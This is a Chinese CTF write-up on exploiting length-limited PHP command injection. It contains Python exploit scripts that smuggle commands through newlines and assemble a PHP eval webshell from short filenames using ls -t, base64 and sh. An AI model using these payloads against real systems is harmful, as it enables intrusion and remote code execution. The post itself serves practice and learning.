美文网首页
web-x位可控的命令执行

web-x位可控的命令执行

作者: Watanuki | 来源:发表于2020-07-02 19:14 被阅读0次

自有平台的命令执行基础练习题wp

exec2:13位可控

先试着提交几个。

# ip=127.0.0.1%0als /
flag_sGtVHR6EH6fZVewGaUdCDNIs7P3DXZg9
# ip=0.0.0.0%0a12345678901234
22ip 长度错误!

那么就开始在13个可控下写shell,echo -n {}<>>1,准确的说只有1个字符可以控制。写入后在根目录找到flag。

import requests

url = "http://10.154.7.128:28657/exec.php"
payload = "echo '<?php @eval($_POST[1]);?>' > 1.php " #后面的空格一定要有,没有就不行。。。我也不知道为什么。。

for i in payload: 
    data = {"ip":"0.0.0.0\necho -n \\{}>>1".format(i)} #python里%0a会被url编码,可以用\n,会自动转成%0a。转义符不能少。
    res = requests.post(url,data=data)
    print(data,res.text)
print ("[*] bash shell upload successful!")

#检查一下
data={"ip":"0.0.0.0;cat 1"}
res=requests.post(url,data=data)
print(res.text)

data={"ip":"0.0.0.0;bash 1"}
res=requests.post(url,data=data)

shell="http://10.154.7.128:28657/1.php"
res=requests.get(shell)
if  res.status_code == 200:
    print ("[*] get shell successful")

exec3:7位可控

题目源码

<?php
if(isset($_GET[1])){
     if(strlen($_GET[1])<8){
          echo shell_exec($_GET[1]);
     }
}
else{
     show_source(__FILE__);
}

?>

不够长度写内容,只能写文件名然后ls -t倒序排序。
连接文件名的时候注意给末尾留个\的位置

import requests,base64

PORT = 28014
url = "http://10.154.7.128:{}/exec.php?1={}"

payload = str(base64.b64encode(b'<?php eval($_GET[2]);'))[2:-1]
payload = "echo {}|base64 -d>12.php".format(payload) #因为用1.php刚好会断在.开头,变成隐藏文件……所以用12.php
payload = payload+' '*(3-len(payload)%3) if len(payload)%3 else payload
print(payload)
print("[+]start attack!!!")
for i in range(len(payload),0,-3):
    shell = payload[i-3:i].replace(' ','\\ ').replace('|','\\|').replace('>','\\>')
    shell = '>'+shell+'\\' if i!=len(payload) else '>'+shell  #直接ls会有换行符。每一句末尾加个\表示未结束,换行继续写。
    requests.get(url.format(PORT,shell))
    print("[*]" + url.format(PORT,shell))

res = requests.get(url.format(PORT,'ls -t>0'))  
#res = requests.get(url.format(PORT,'cat 0'))
#print("[*]" + res.text)  

requests.get(url.format(PORT,'sh 0')) 
try:
    test = requests.get("http://10.154.7.128:{}/12.php".format(PORT))
    if test.status_code == requests.codes.ok:
        print("[*]Attack success!!!")
except:
    pass

exec4:看到还有5位可控字符的。留到以后补充吧。。。

相关文章

  • web-x位可控的命令执行

    自有平台的命令执行基础练习题wp exec2:13位可控 先试着提交几个。 那么就开始在13个可控下写shell,...

  • 「金句」工作心得

    命令有效执行的要点:1.可控部分做细节,不可控部分找方法。2.沟通以结果为导向,以受方思维和习惯表达,能够提高效率。

  • Ubuntu16.04服务器JAVA搭建·软件安装大全

    JDK 进入Ubuntu命令终端执行命令: 执行命令: 如图: 执行命令: 执行命令: 如图: 执行命令: 执行命...

  • linux命令

    多命令执行 同时执行 依次执行 前一个命令执行成功,再执行第二个命令 前一个命令执行失败,再执行第二个命令 命令行...

  • 管道符

    1、多命令顺序执行 多命令执行符 格式 作用 ; 命令1;命令2 多个命令顺序执行,命令之间没...

  • php system调用libreoffice转换文件 retu

    操作系统:centos6.7 64位 执行命令:system("libreoffice --invisible -...

  • 05-redis服务器

    命令请求的执行过程 客户端发送命令请求 服务器读取命令请求 命令执行器:查找命令实现 命令执行器:执行预备操作 命...

  • 后台执行的命令,如何转回前台

    如何让命令后台执行 执行命令的时候加上 & ,即 command & 可实现后台执行命令, 执行 command ...

  • 命令执行顺序 && 管道

    命令的执行顺序 linux命令的执行一般是,在终端中输入一行命令,执行完成,再继续输入下一命令。 顺序执行多条命令...

  • 2.命令执行漏洞

    定义:攻击者可以随意执行系统命令,命令可以连接执行:&,||,| 命令执行漏洞:直接调用操作系统命令 代码执行漏洞...

网友评论

      本文标题:web-x位可控的命令执行

      本文链接:https://www.haomeiwen.com/subject/msdlqktx.html